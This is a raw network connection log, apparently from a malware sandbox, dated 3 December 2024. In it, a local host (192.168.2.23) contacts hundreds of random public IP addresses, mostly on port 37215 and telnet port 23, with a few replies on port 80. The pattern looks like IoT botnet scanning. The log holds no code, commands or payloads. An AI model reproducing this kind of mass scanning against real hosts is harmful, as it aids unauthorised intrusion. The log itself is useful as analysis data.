Dec 3, 2024 22:16:49.518012047 CET	37451	37215	192.168.2.23	197.164.244.66
Dec 3, 2024 22:16:49.518027067 CET	37451	37215	192.168.2.23	41.152.77.108
Dec 3, 2024 22:16:49.518033981 CET	37451	37215	192.168.2.23	41.8.103.246
Dec 3, 2024 22:16:49.518042088 CET	37451	37215	192.168.2.23	156.187.250.110
Dec 3, 2024 22:16:49.518048048 CET	37451	37215	192.168.2.23	156.222.232.238
Dec 3, 2024 22:16:49.518054962 CET	37451	37215	192.168.2.23	41.39.225.242
Dec 3, 2024 22:16:49.518062115 CET	37451	37215	192.168.2.23	197.173.140.16
Dec 3, 2024 22:16:49.518090010 CET	37451	37215	192.168.2.23	41.177.152.242
Dec 3, 2024 22:16:49.518112898 CET	37451	37215	192.168.2.23	197.41.160.61
Dec 3, 2024 22:16:49.518114090 CET	37451	37215	192.168.2.23	156.171.72.234
Dec 3, 2024 22:16:49.518114090 CET	37451	37215	192.168.2.23	197.21.30.0
Dec 3, 2024 22:16:49.518115044 CET	37451	37215	192.168.2.23	197.203.89.82
Dec 3, 2024 22:16:49.518115044 CET	37451	37215	192.168.2.23	197.163.231.144
Dec 3, 2024 22:16:49.518115044 CET	37451	37215	192.168.2.23	41.27.84.234
Dec 3, 2024 22:16:49.518115044 CET	37451	37215	192.168.2.23	156.194.26.77
Dec 3, 2024 22:16:49.518131971 CET	37451	37215	192.168.2.23	41.37.126.54
Dec 3, 2024 22:16:49.518131971 CET	37451	37215	192.168.2.23	156.13.121.31
Dec 3, 2024 22:16:49.518135071 CET	37451	37215	192.168.2.23	41.236.106.220
Dec 3, 2024 22:16:49.518135071 CET	37451	37215	192.168.2.23	197.27.128.27
Dec 3, 2024 22:16:49.518136024 CET	37451	37215	192.168.2.23	197.170.2.229
Dec 3, 2024 22:16:49.518135071 CET	37451	37215	192.168.2.23	156.178.33.223
Dec 3, 2024 22:16:49.518136024 CET	37451	37215	192.168.2.23	41.246.163.240
Dec 3, 2024 22:16:49.518137932 CET	37451	37215	192.168.2.23	197.172.25.150
Dec 3, 2024 22:16:49.518138885 CET	37451	37215	192.168.2.23	41.83.36.211
Dec 3, 2024 22:16:49.518140078 CET	37451	37215	192.168.2.23	156.114.215.248
Dec 3, 2024 22:16:49.518135071 CET	37451	37215	192.168.2.23	156.3.254.13
Dec 3, 2024 22:16:49.518140078 CET	37451	37215	192.168.2.23	197.250.161.71
Dec 3, 2024 22:16:49.518135071 CET	37451	37215	192.168.2.23	197.19.233.38
Dec 3, 2024 22:16:49.518137932 CET	37451	37215	192.168.2.23	197.155.173.204
Dec 3, 2024 22:16:49.518140078 CET	37451	37215	192.168.2.23	156.72.237.123
Dec 3, 2024 22:16:49.518137932 CET	37451	37215	192.168.2.23	41.132.36.234
Dec 3, 2024 22:16:49.518155098 CET	37451	37215	192.168.2.23	156.241.46.120
Dec 3, 2024 22:16:49.518155098 CET	37451	37215	192.168.2.23	156.158.97.219
Dec 3, 2024 22:16:49.518155098 CET	37451	37215	192.168.2.23	41.171.27.219
Dec 3, 2024 22:16:49.518155098 CET	37451	37215	192.168.2.23	197.203.48.95
Dec 3, 2024 22:16:49.518156052 CET	37451	37215	192.168.2.23	156.65.85.164
Dec 3, 2024 22:16:49.518156052 CET	37451	37215	192.168.2.23	41.84.28.66
Dec 3, 2024 22:16:49.518155098 CET	37451	37215	192.168.2.23	197.198.76.38
Dec 3, 2024 22:16:49.518156052 CET	37451	37215	192.168.2.23	156.113.49.110
Dec 3, 2024 22:16:49.518156052 CET	37451	37215	192.168.2.23	41.106.148.193
Dec 3, 2024 22:16:49.518156052 CET	37451	37215	192.168.2.23	156.217.234.109
Dec 3, 2024 22:16:49.518155098 CET	37451	37215	192.168.2.23	41.78.17.236
Dec 3, 2024 22:16:49.518155098 CET	37451	37215	192.168.2.23	156.132.25.153
Dec 3, 2024 22:16:49.518168926 CET	37451	37215	192.168.2.23	197.54.254.167
Dec 3, 2024 22:16:49.518168926 CET	37451	37215	192.168.2.23	156.90.11.234
Dec 3, 2024 22:16:49.518168926 CET	37451	37215	192.168.2.23	156.9.179.206
Dec 3, 2024 22:16:49.518168926 CET	37451	37215	192.168.2.23	41.108.250.206
Dec 3, 2024 22:16:49.518168926 CET	37451	37215	192.168.2.23	41.187.156.30
Dec 3, 2024 22:16:49.518168926 CET	37451	37215	192.168.2.23	41.224.96.129
Dec 3, 2024 22:16:49.518168926 CET	37451	37215	192.168.2.23	197.215.126.214
Dec 3, 2024 22:16:49.518168926 CET	37451	37215	192.168.2.23	156.218.132.47
Dec 3, 2024 22:16:49.518220901 CET	37451	37215	192.168.2.23	41.230.198.52
Dec 3, 2024 22:16:49.518220901 CET	37451	37215	192.168.2.23	41.207.107.41
Dec 3, 2024 22:16:49.518220901 CET	37451	37215	192.168.2.23	197.4.55.253
Dec 3, 2024 22:16:49.518220901 CET	37451	37215	192.168.2.23	41.196.18.97
Dec 3, 2024 22:16:49.518220901 CET	37451	37215	192.168.2.23	41.209.51.249
Dec 3, 2024 22:16:49.518227100 CET	37451	37215	192.168.2.23	197.161.61.208
Dec 3, 2024 22:16:49.518229961 CET	37451	37215	192.168.2.23	41.219.245.121
Dec 3, 2024 22:16:49.518229961 CET	37451	37215	192.168.2.23	41.55.142.82
Dec 3, 2024 22:16:49.518232107 CET	37451	37215	192.168.2.23	41.254.114.180
Dec 3, 2024 22:16:49.518233061 CET	37451	37215	192.168.2.23	156.248.107.101
Dec 3, 2024 22:16:49.518234015 CET	37451	37215	192.168.2.23	156.96.190.194
Dec 3, 2024 22:16:49.518234015 CET	37451	37215	192.168.2.23	41.199.90.190
Dec 3, 2024 22:16:49.518269062 CET	37451	37215	192.168.2.23	197.235.145.158
Dec 3, 2024 22:16:49.518269062 CET	37451	37215	192.168.2.23	156.32.226.197
Dec 3, 2024 22:16:49.518271923 CET	37451	37215	192.168.2.23	156.27.62.214
Dec 3, 2024 22:16:49.518271923 CET	37451	37215	192.168.2.23	197.157.186.104
Dec 3, 2024 22:16:49.518275023 CET	37451	37215	192.168.2.23	197.230.3.80
Dec 3, 2024 22:16:49.518276930 CET	37451	37215	192.168.2.23	156.239.85.164
Dec 3, 2024 22:16:49.518276930 CET	37451	37215	192.168.2.23	197.133.60.138
Dec 3, 2024 22:16:49.518277884 CET	37451	37215	192.168.2.23	156.45.82.227
Dec 3, 2024 22:16:49.518281937 CET	37451	37215	192.168.2.23	41.199.204.125
Dec 3, 2024 22:16:49.518299103 CET	37451	37215	192.168.2.23	41.202.113.92
Dec 3, 2024 22:16:49.518299103 CET	37451	37215	192.168.2.23	156.57.78.107
Dec 3, 2024 22:16:49.518299103 CET	37451	37215	192.168.2.23	197.249.153.19
Dec 3, 2024 22:16:49.518301010 CET	37451	37215	192.168.2.23	197.111.131.86
Dec 3, 2024 22:16:49.518301010 CET	37451	37215	192.168.2.23	197.16.242.86
Dec 3, 2024 22:16:49.518305063 CET	37451	37215	192.168.2.23	41.171.229.12
Dec 3, 2024 22:16:49.518305063 CET	37451	37215	192.168.2.23	197.94.147.160
Dec 3, 2024 22:16:49.518305063 CET	37451	37215	192.168.2.23	156.114.123.169
Dec 3, 2024 22:16:49.518305063 CET	37451	37215	192.168.2.23	41.160.142.198
Dec 3, 2024 22:16:49.518305063 CET	37451	37215	192.168.2.23	197.243.186.159
Dec 3, 2024 22:16:49.518307924 CET	37451	37215	192.168.2.23	197.57.220.254
Dec 3, 2024 22:16:49.518305063 CET	37451	37215	192.168.2.23	197.11.112.197
Dec 3, 2024 22:16:49.518307924 CET	37451	37215	192.168.2.23	197.193.74.36
Dec 3, 2024 22:16:49.518311024 CET	37451	37215	192.168.2.23	41.17.58.113
Dec 3, 2024 22:16:49.518311024 CET	37451	37215	192.168.2.23	197.169.38.133
Dec 3, 2024 22:16:49.518307924 CET	37451	37215	192.168.2.23	156.246.146.92
Dec 3, 2024 22:16:49.518321991 CET	37451	37215	192.168.2.23	41.75.155.137
Dec 3, 2024 22:16:49.518321991 CET	37451	37215	192.168.2.23	41.67.84.171
Dec 3, 2024 22:16:49.518331051 CET	37451	37215	192.168.2.23	41.21.1.226
Dec 3, 2024 22:16:49.518331051 CET	37451	37215	192.168.2.23	41.13.208.159
Dec 3, 2024 22:16:49.518335104 CET	37451	37215	192.168.2.23	197.175.133.241
Dec 3, 2024 22:16:49.518335104 CET	37451	37215	192.168.2.23	197.64.187.188
Dec 3, 2024 22:16:49.518331051 CET	37451	37215	192.168.2.23	197.227.186.219
Dec 3, 2024 22:16:49.518331051 CET	37451	37215	192.168.2.23	197.89.12.146
Dec 3, 2024 22:16:49.518338919 CET	37451	37215	192.168.2.23	156.63.138.5
Dec 3, 2024 22:16:49.518338919 CET	37451	37215	192.168.2.23	156.36.112.227
Dec 3, 2024 22:16:49.518338919 CET	37451	37215	192.168.2.23	156.59.187.28
Dec 3, 2024 22:16:49.518341064 CET	37451	37215	192.168.2.23	41.102.172.95
Dec 3, 2024 22:16:49.518341064 CET	37451	37215	192.168.2.23	41.48.54.63
Dec 3, 2024 22:16:49.518341064 CET	37451	37215	192.168.2.23	41.223.76.56
Dec 3, 2024 22:16:49.518341064 CET	37451	37215	192.168.2.23	156.8.28.36
Dec 3, 2024 22:16:49.518342018 CET	37451	37215	192.168.2.23	197.37.141.97
Dec 3, 2024 22:16:49.518342972 CET	37451	37215	192.168.2.23	41.63.87.8
Dec 3, 2024 22:16:49.518342972 CET	37451	37215	192.168.2.23	197.122.34.210
Dec 3, 2024 22:16:49.518342018 CET	37451	37215	192.168.2.23	197.216.169.38
Dec 3, 2024 22:16:49.518342972 CET	37451	37215	192.168.2.23	41.194.19.197
Dec 3, 2024 22:16:49.518342972 CET	37451	37215	192.168.2.23	197.88.22.125
Dec 3, 2024 22:16:49.518345118 CET	37451	37215	192.168.2.23	156.104.227.82
Dec 3, 2024 22:16:49.518345118 CET	37451	37215	192.168.2.23	41.154.186.43
Dec 3, 2024 22:16:49.518346071 CET	37451	37215	192.168.2.23	197.121.52.189
Dec 3, 2024 22:16:49.518395901 CET	37451	37215	192.168.2.23	197.114.93.250
Dec 3, 2024 22:16:49.518408060 CET	80	41426	202.130.12.212	192.168.2.23
Dec 3, 2024 22:16:49.518419981 CET	37451	37215	192.168.2.23	197.160.227.178
Dec 3, 2024 22:16:49.518419981 CET	37451	37215	192.168.2.23	197.18.53.111
Dec 3, 2024 22:16:49.518419981 CET	37451	37215	192.168.2.23	156.103.170.229
Dec 3, 2024 22:16:49.518419981 CET	37451	37215	192.168.2.23	197.142.211.247
Dec 3, 2024 22:16:49.518419981 CET	37451	37215	192.168.2.23	41.182.26.2
Dec 3, 2024 22:16:49.518420935 CET	37451	37215	192.168.2.23	156.97.121.234
Dec 3, 2024 22:16:49.518419981 CET	37451	37215	192.168.2.23	41.106.89.114
Dec 3, 2024 22:16:49.518420935 CET	37451	37215	192.168.2.23	41.173.6.109
Dec 3, 2024 22:16:49.518420935 CET	37451	37215	192.168.2.23	156.221.186.224
Dec 3, 2024 22:16:49.518424034 CET	37451	37215	192.168.2.23	41.249.50.49
Dec 3, 2024 22:16:49.518424988 CET	37451	37215	192.168.2.23	197.136.194.85
Dec 3, 2024 22:16:49.518424034 CET	37451	37215	192.168.2.23	156.144.199.250
Dec 3, 2024 22:16:49.518424988 CET	37451	37215	192.168.2.23	156.244.70.28
Dec 3, 2024 22:16:49.518426895 CET	23	51150	85.186.163.112	192.168.2.23
Dec 3, 2024 22:16:49.518424034 CET	37451	37215	192.168.2.23	156.128.166.1
Dec 3, 2024 22:16:49.518426895 CET	37451	37215	192.168.2.23	41.7.236.70
Dec 3, 2024 22:16:49.518431902 CET	37451	37215	192.168.2.23	156.175.234.49
Dec 3, 2024 22:16:49.518424034 CET	37451	37215	192.168.2.23	41.57.193.32
Dec 3, 2024 22:16:49.518431902 CET	37451	37215	192.168.2.23	156.127.172.74
Dec 3, 2024 22:16:49.518434048 CET	37451	37215	192.168.2.23	197.154.64.113
Dec 3, 2024 22:16:49.518431902 CET	37451	37215	192.168.2.23	156.125.189.67
Dec 3, 2024 22:16:49.518435955 CET	37451	37215	192.168.2.23	41.173.253.254
Dec 3, 2024 22:16:49.518436909 CET	37451	37215	192.168.2.23	41.82.53.164
Dec 3, 2024 22:16:49.518439054 CET	37451	37215	192.168.2.23	156.242.189.50
Dec 3, 2024 22:16:49.518436909 CET	37451	37215	192.168.2.23	156.1.138.204
Dec 3, 2024 22:16:49.518426895 CET	37451	37215	192.168.2.23	197.19.153.41
Dec 3, 2024 22:16:49.518436909 CET	37451	37215	192.168.2.23	156.215.67.227
Dec 3, 2024 22:16:49.518426895 CET	37451	37215	192.168.2.23	41.169.219.57
Dec 3, 2024 22:16:49.518436909 CET	37451	37215	192.168.2.23	197.44.184.41
Dec 3, 2024 22:16:49.518426895 CET	37451	37215	192.168.2.23	197.235.160.72
Dec 3, 2024 22:16:49.518436909 CET	37451	37215	192.168.2.23	197.117.16.115
Dec 3, 2024 22:16:49.518436909 CET	37451	37215	192.168.2.23	197.128.131.32
Dec 3, 2024 22:16:49.518451929 CET	37451	37215	192.168.2.23	41.183.233.62
Dec 3, 2024 22:16:49.518451929 CET	41426	80	192.168.2.23	202.130.12.212
Dec 3, 2024 22:16:49.518454075 CET	37451	37215	192.168.2.23	41.183.219.169
Dec 3, 2024 22:16:49.518454075 CET	37451	37215	192.168.2.23	41.159.93.50
Dec 3, 2024 22:16:49.518454075 CET	37451	37215	192.168.2.23	41.171.172.14
Dec 3, 2024 22:16:49.518456936 CET	37451	37215	192.168.2.23	41.204.164.146
Dec 3, 2024 22:16:49.518456936 CET	37451	37215	192.168.2.23	197.55.73.181
Dec 3, 2024 22:16:49.518465042 CET	37451	37215	192.168.2.23	197.149.38.230
Dec 3, 2024 22:16:49.518465042 CET	37451	37215	192.168.2.23	41.195.185.87
Dec 3, 2024 22:16:49.518465042 CET	37451	37215	192.168.2.23	41.215.108.129
Dec 3, 2024 22:16:49.518476009 CET	80	42698	86.87.136.30	192.168.2.23
Dec 3, 2024 22:16:49.518485069 CET	23	58648	126.0.124.156	192.168.2.23
Dec 3, 2024 22:16:49.518495083 CET	37451	37215	192.168.2.23	41.42.64.111
Dec 3, 2024 22:16:49.518495083 CET	51150	23	192.168.2.23	85.186.163.112
Dec 3, 2024 22:16:49.518496990 CET	37451	37215	192.168.2.23	41.22.82.133
Dec 3, 2024 22:16:49.518496990 CET	37451	37215	192.168.2.23	41.218.76.187
Dec 3, 2024 22:16:49.518497944 CET	37451	37215	192.168.2.23	197.83.101.184
Dec 3, 2024 22:16:49.518496990 CET	37451	37215	192.168.2.23	41.155.98.11
Dec 3, 2024 22:16:49.518500090 CET	37451	37215	192.168.2.23	156.152.141.5
Dec 3, 2024 22:16:49.518500090 CET	37451	37215	192.168.2.23	41.156.212.104
Dec 3, 2024 22:16:49.518501043 CET	37451	37215	192.168.2.23	41.54.116.58
Dec 3, 2024 22:16:49.518502951 CET	37451	37215	192.168.2.23	41.37.128.252
Dec 3, 2024 22:16:49.518503904 CET	23	34392	69.227.41.87	192.168.2.23
Dec 3, 2024 22:16:49.518506050 CET	37451	37215	192.168.2.23	197.197.130.246
Dec 3, 2024 22:16:49.518506050 CET	37451	37215	192.168.2.23	156.162.99.89
Dec 3, 2024 22:16:49.518512964 CET	37451	37215	192.168.2.23	197.216.81.199
Dec 3, 2024 22:16:49.518516064 CET	37451	37215	192.168.2.23	156.216.114.185
Dec 3, 2024 22:16:49.518516064 CET	37451	37215	192.168.2.23	197.164.76.35
Dec 3, 2024 22:16:49.518516064 CET	37451	37215	192.168.2.23	197.113.203.24
Dec 3, 2024 22:16:49.518522978 CET	37451	37215	192.168.2.23	156.69.118.60
Dec 3, 2024 22:16:49.518523932 CET	37451	37215	192.168.2.23	41.240.146.240
Dec 3, 2024 22:16:49.518523932 CET	37451	37215	192.168.2.23	41.68.201.136
Dec 3, 2024 22:16:49.518560886 CET	37451	37215	192.168.2.23	197.129.101.164
Dec 3, 2024 22:16:49.518568993 CET	37451	37215	192.168.2.23	197.214.106.127
Dec 3, 2024 22:16:49.518569946 CET	37451	37215	192.168.2.23	197.116.239.235
Dec 3, 2024 22:16:49.518569946 CET	42698	80	192.168.2.23	86.87.136.30
Dec 3, 2024 22:16:49.518569946 CET	37451	37215	192.168.2.23	156.236.238.122
Dec 3, 2024 22:16:49.518569946 CET	37451	37215	192.168.2.23	41.9.126.149
Dec 3, 2024 22:16:49.518569946 CET	58648	23	192.168.2.23	126.0.124.156
Dec 3, 2024 22:16:49.518569946 CET	37451	37215	192.168.2.23	197.110.81.227
Dec 3, 2024 22:16:49.518573046 CET	37451	37215	192.168.2.23	41.13.196.177
Dec 3, 2024 22:16:49.518569946 CET	37451	37215	192.168.2.23	156.79.17.86
Dec 3, 2024 22:16:49.518573046 CET	37451	37215	192.168.2.23	197.249.96.187
Dec 3, 2024 22:16:49.518569946 CET	34392	23	192.168.2.23	69.227.41.87
Dec 3, 2024 22:16:49.518582106 CET	37963	23	192.168.2.23	137.246.99.85
Dec 3, 2024 22:16:49.518582106 CET	37963	23	192.168.2.23	78.163.76.35
Dec 3, 2024 22:16:49.518582106 CET	37963	23	192.168.2.23	63.206.207.107
Dec 3, 2024 22:16:49.518588066 CET	37963	23	192.168.2.23	88.135.206.33
Dec 3, 2024 22:16:49.518611908 CET	23	56744	67.125.181.147	192.168.2.23
Dec 3, 2024 22:16:49.518619061 CET	37451	37215	192.168.2.23	197.9.85.177
Dec 3, 2024 22:16:49.518620968 CET	80	34050	133.151.36.237	192.168.2.23
Dec 3, 2024 22:16:49.518632889 CET	80	45496	161.115.163.88	192.168.2.23
Dec 3, 2024 22:16:49.518634081 CET	37963	23	192.168.2.23	103.17.3.66
Dec 3, 2024 22:16:49.518637896 CET	37963	23	192.168.2.23	222.233.144.9
Dec 3, 2024 22:16:49.518637896 CET	37451	37215	192.168.2.23	197.106.147.101
Dec 3, 2024 22:16:49.518641949 CET	37963	23	192.168.2.23	95.225.154.128
Dec 3, 2024 22:16:49.518642902 CET	37451	37215	192.168.2.23	156.117.196.105
Dec 3, 2024 22:16:49.518642902 CET	37963	23	192.168.2.23	138.189.20.151
Dec 3, 2024 22:16:49.518642902 CET	37963	23	192.168.2.23	106.2.168.182
Dec 3, 2024 22:16:49.518647909 CET	23	51696	105.129.205.237	192.168.2.23
Dec 3, 2024 22:16:49.518656015 CET	80	56390	201.216.93.118	192.168.2.23
Dec 3, 2024 22:16:49.518660069 CET	80	56374	163.247.225.173	192.168.2.23
Dec 3, 2024 22:16:49.518663883 CET	80	59488	89.148.112.82	192.168.2.23
Dec 3, 2024 22:16:49.518667936 CET	80	37950	159.180.151.117	192.168.2.23
Dec 3, 2024 22:16:49.518671989 CET	80	41702	86.199.183.40	192.168.2.23
Dec 3, 2024 22:16:49.518675089 CET	37451	37215	192.168.2.23	197.5.235.72
Dec 3, 2024 22:16:49.518676043 CET	80	33746	51.0.21.42	192.168.2.23
Dec 3, 2024 22:16:49.518680096 CET	80	49242	156.47.9.159	192.168.2.23
Dec 3, 2024 22:16:49.518687963 CET	80	35510	19.67.64.37	192.168.2.23
Dec 3, 2024 22:16:49.518692970 CET	37963	23	192.168.2.23	223.73.44.197
Dec 3, 2024 22:16:49.518692970 CET	37963	23	192.168.2.23	175.187.1.251
Dec 3, 2024 22:16:49.518692970 CET	37963	23	192.168.2.23	183.234.63.157
Dec 3, 2024 22:16:49.518697023 CET	80	52012	101.26.29.84	192.168.2.23
Dec 3, 2024 22:16:49.518697023 CET	37963	23	192.168.2.23	126.88.160.48
Dec 3, 2024 22:16:49.518697023 CET	37451	37215	192.168.2.23	197.77.112.180
Dec 3, 2024 22:16:49.518697023 CET	37963	23	192.168.2.23	73.125.3.0
Dec 3, 2024 22:16:49.518697023 CET	37963	23	192.168.2.23	221.63.18.10
Dec 3, 2024 22:16:49.518697023 CET	45496	80	192.168.2.23	161.115.163.88
Dec 3, 2024 22:16:49.518706083 CET	37963	23	192.168.2.23	222.40.164.137
Dec 3, 2024 22:16:49.518706083 CET	37963	23	192.168.2.23	190.211.177.228
Dec 3, 2024 22:16:49.518706083 CET	37451	37215	192.168.2.23	156.191.192.112
Dec 3, 2024 22:16:49.518707037 CET	37963	23	192.168.2.23	157.180.13.34
Dec 3, 2024 22:16:49.518707037 CET	37963	23	192.168.2.23	212.196.46.181
Dec 3, 2024 22:16:49.518713951 CET	37963	23	192.168.2.23	80.191.172.107
Dec 3, 2024 22:16:49.518713951 CET	37963	23	192.168.2.23	133.214.74.135
Dec 3, 2024 22:16:49.518713951 CET	37963	23	192.168.2.23	202.177.217.216
Dec 3, 2024 22:16:49.518713951 CET	37451	37215	192.168.2.23	41.158.156.125
Dec 3, 2024 22:16:49.518716097 CET	37963	23	192.168.2.23	23.26.224.232
Dec 3, 2024 22:16:49.518716097 CET	37963	23	192.168.2.23	209.249.231.132
Dec 3, 2024 22:16:49.518716097 CET	37963	23	192.168.2.23	35.147.198.140
Dec 3, 2024 22:16:49.518716097 CET	37451	37215	192.168.2.23	156.65.175.141
Dec 3, 2024 22:16:49.518718958 CET	34050	80	192.168.2.23	133.151.36.237
Dec 3, 2024 22:16:49.518718958 CET	37963	23	192.168.2.23	156.160.82.188
Dec 3, 2024 22:16:49.518718958 CET	37963	23	192.168.2.23	137.151.244.112
Dec 3, 2024 22:16:49.518718958 CET	37963	23	192.168.2.23	40.34.153.122
Dec 3, 2024 22:16:49.518718958 CET	37963	23	192.168.2.23	205.49.13.213
Dec 3, 2024 22:16:49.518721104 CET	37963	23	192.168.2.23	143.183.15.156
Dec 3, 2024 22:16:49.518721104 CET	37963	23	192.168.2.23	43.93.134.175
Dec 3, 2024 22:16:49.518721104 CET	56744	23	192.168.2.23	67.125.181.147
Dec 3, 2024 22:16:49.518721104 CET	37451	37215	192.168.2.23	41.49.188.47
Dec 3, 2024 22:16:49.518721104 CET	37963	23	192.168.2.23	175.248.202.196
Dec 3, 2024 22:16:49.518721104 CET	37963	23	192.168.2.23	67.79.185.240
Dec 3, 2024 22:16:49.518721104 CET	37963	23	192.168.2.23	24.44.224.86
Dec 3, 2024 22:16:49.518721104 CET	37963	23	192.168.2.23	74.36.183.96
Dec 3, 2024 22:16:49.518721104 CET	37963	23	192.168.2.23	13.222.90.190
Dec 3, 2024 22:16:49.518723965 CET	37963	23	192.168.2.23	223.170.171.231
Dec 3, 2024 22:16:49.518723965 CET	37963	23	192.168.2.23	216.244.221.49
Dec 3, 2024 22:16:49.518723965 CET	37963	23	192.168.2.23	197.0.114.205
Dec 3, 2024 22:16:49.518723965 CET	37451	37215	192.168.2.23	156.223.134.49
Dec 3, 2024 22:16:49.518723965 CET	37451	37215	192.168.2.23	156.4.121.48
Dec 3, 2024 22:16:49.518723965 CET	37963	23	192.168.2.23	128.220.250.223
Dec 3, 2024 22:16:49.518723965 CET	37963	23	192.168.2.23	221.222.41.122
Dec 3, 2024 22:16:49.518723965 CET	37451	37215	192.168.2.23	197.211.202.77
Dec 3, 2024 22:16:49.518732071 CET	37963	23	192.168.2.23	194.141.28.177
Dec 3, 2024 22:16:49.518732071 CET	37963	23	192.168.2.23	35.21.152.47
Dec 3, 2024 22:16:49.518732071 CET	51696	23	192.168.2.23	105.129.205.237
Dec 3, 2024 22:16:49.518734932 CET	37451	37215	192.168.2.23	41.235.155.121
Dec 3, 2024 22:16:49.518734932 CET	37963	23	192.168.2.23	190.1.184.86
Dec 3, 2024 22:16:49.518734932 CET	37963	23	192.168.2.23	219.183.244.188
Dec 3, 2024 22:16:49.518734932 CET	37451	37215	192.168.2.23	156.130.68.7
Dec 3, 2024 22:16:49.518739939 CET	56374	80	192.168.2.23	163.247.225.173
Dec 3, 2024 22:16:49.518739939 CET	37950	80	192.168.2.23	159.180.151.117
Dec 3, 2024 22:16:49.518742085 CET	37963	23	192.168.2.23	144.70.33.100
Dec 3, 2024 22:16:49.518742085 CET	37963	23	192.168.2.23	118.108.110.146
Dec 3, 2024 22:16:49.518742085 CET	37963	23	192.168.2.23	66.78.140.9
Dec 3, 2024 22:16:49.518778086 CET	37963	23	192.168.2.23	136.217.209.243
Dec 3, 2024 22:16:49.518778086 CET	37451	37215	192.168.2.23	197.93.152.105
Dec 3, 2024 22:16:49.518778086 CET	33746	80	192.168.2.23	51.0.21.42
Dec 3, 2024 22:16:49.518779039 CET	37963	23	192.168.2.23	45.35.183.154
Dec 3, 2024 22:16:49.518779039 CET	37963	23	192.168.2.23	198.48.94.173
Dec 3, 2024 22:16:49.518779039 CET	37963	23	192.168.2.23	141.108.111.234
Dec 3, 2024 22:16:49.518779039 CET	37963	23	192.168.2.23	110.203.188.216
Dec 3, 2024 22:16:49.518779039 CET	37451	37215	192.168.2.23	41.91.102.100
Dec 3, 2024 22:16:49.518805027 CET	37963	23	192.168.2.23	35.221.125.225
Dec 3, 2024 22:16:49.518805027 CET	49242	80	192.168.2.23	156.47.9.159
Dec 3, 2024 22:16:49.518805027 CET	37963	23	192.168.2.23	173.178.204.35
Dec 3, 2024 22:16:49.518807888 CET	35510	80	192.168.2.23	19.67.64.37
Dec 3, 2024 22:16:49.518807888 CET	37963	23	192.168.2.23	103.205.124.219
Dec 3, 2024 22:16:49.518807888 CET	37963	23	192.168.2.23	139.156.195.146
Dec 3, 2024 22:16:49.518811941 CET	52012	80	192.168.2.23	101.26.29.84
Dec 3, 2024 22:16:49.518811941 CET	37963	23	192.168.2.23	189.15.235.44
Dec 3, 2024 22:16:49.518811941 CET	37963	23	192.168.2.23	99.171.171.63
Dec 3, 2024 22:16:49.518812895 CET	37963	23	192.168.2.23	135.239.156.140
Dec 3, 2024 22:16:49.518812895 CET	37963	23	192.168.2.23	43.137.188.125
Dec 3, 2024 22:16:49.518814087 CET	37963	23	192.168.2.23	142.211.150.216
Dec 3, 2024 22:16:49.518812895 CET	56390	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:49.518814087 CET	37963	23	192.168.2.23	18.223.250.59
Dec 3, 2024 22:16:49.518812895 CET	59488	80	192.168.2.23	89.148.112.82
Dec 3, 2024 22:16:49.518814087 CET	37963	23	192.168.2.23	105.165.177.253
Dec 3, 2024 22:16:49.518812895 CET	41702	80	192.168.2.23	86.199.183.40
Dec 3, 2024 22:16:49.518814087 CET	37963	23	192.168.2.23	100.45.229.178
Dec 3, 2024 22:16:49.518812895 CET	37963	23	192.168.2.23	137.176.233.82
Dec 3, 2024 22:16:49.518812895 CET	37963	23	192.168.2.23	87.158.18.0
Dec 3, 2024 22:16:49.518814087 CET	37963	23	192.168.2.23	164.142.51.21
Dec 3, 2024 22:16:49.518814087 CET	37963	23	192.168.2.23	72.253.187.162
Dec 3, 2024 22:16:49.518814087 CET	37963	23	192.168.2.23	58.60.206.228
Dec 3, 2024 22:16:49.518821955 CET	37963	23	192.168.2.23	164.150.245.60
Dec 3, 2024 22:16:49.518821955 CET	37963	23	192.168.2.23	59.113.226.174
Dec 3, 2024 22:16:49.518821955 CET	37451	37215	192.168.2.23	156.176.230.190
Dec 3, 2024 22:16:49.518821955 CET	37451	37215	192.168.2.23	197.183.177.123
Dec 3, 2024 22:16:49.518821955 CET	37963	23	192.168.2.23	61.55.211.174
Dec 3, 2024 22:16:49.518830061 CET	37963	23	192.168.2.23	122.131.25.146
Dec 3, 2024 22:16:49.518830061 CET	37963	23	192.168.2.23	152.153.81.216
Dec 3, 2024 22:16:49.518837929 CET	37451	37215	192.168.2.23	41.159.106.253
Dec 3, 2024 22:16:49.518837929 CET	37963	23	192.168.2.23	196.96.18.154
Dec 3, 2024 22:16:49.518837929 CET	37451	37215	192.168.2.23	156.230.110.69
Dec 3, 2024 22:16:49.518837929 CET	37963	23	192.168.2.23	62.220.206.75
Dec 3, 2024 22:16:49.518837929 CET	37963	23	192.168.2.23	125.36.9.70
Dec 3, 2024 22:16:49.518837929 CET	37963	23	192.168.2.23	93.227.229.88
Dec 3, 2024 22:16:49.518845081 CET	37963	23	192.168.2.23	9.3.143.138
Dec 3, 2024 22:16:49.518845081 CET	37963	23	192.168.2.23	34.76.127.235
Dec 3, 2024 22:16:49.518847942 CET	37963	23	192.168.2.23	4.231.55.114
Dec 3, 2024 22:16:49.518847942 CET	37963	23	192.168.2.23	144.66.234.255
Dec 3, 2024 22:16:49.518847942 CET	37963	23	192.168.2.23	1.57.109.237
Dec 3, 2024 22:16:49.518850088 CET	37451	37215	192.168.2.23	156.219.52.170
Dec 3, 2024 22:16:49.518851042 CET	37451	37215	192.168.2.23	41.58.175.131
Dec 3, 2024 22:16:49.518847942 CET	37963	23	192.168.2.23	67.8.115.39
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	54.100.25.197
Dec 3, 2024 22:16:49.518850088 CET	37963	23	192.168.2.23	174.123.103.201
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	182.98.195.72
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	152.88.73.77
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	91.164.109.42
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	38.170.195.147
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	31.231.50.236
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	91.239.152.155
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	185.85.66.131
Dec 3, 2024 22:16:49.518848896 CET	37963	23	192.168.2.23	51.80.30.252
Dec 3, 2024 22:16:49.518851042 CET	37451	37215	192.168.2.23	197.161.203.146
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	14.34.201.150
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	107.194.236.34
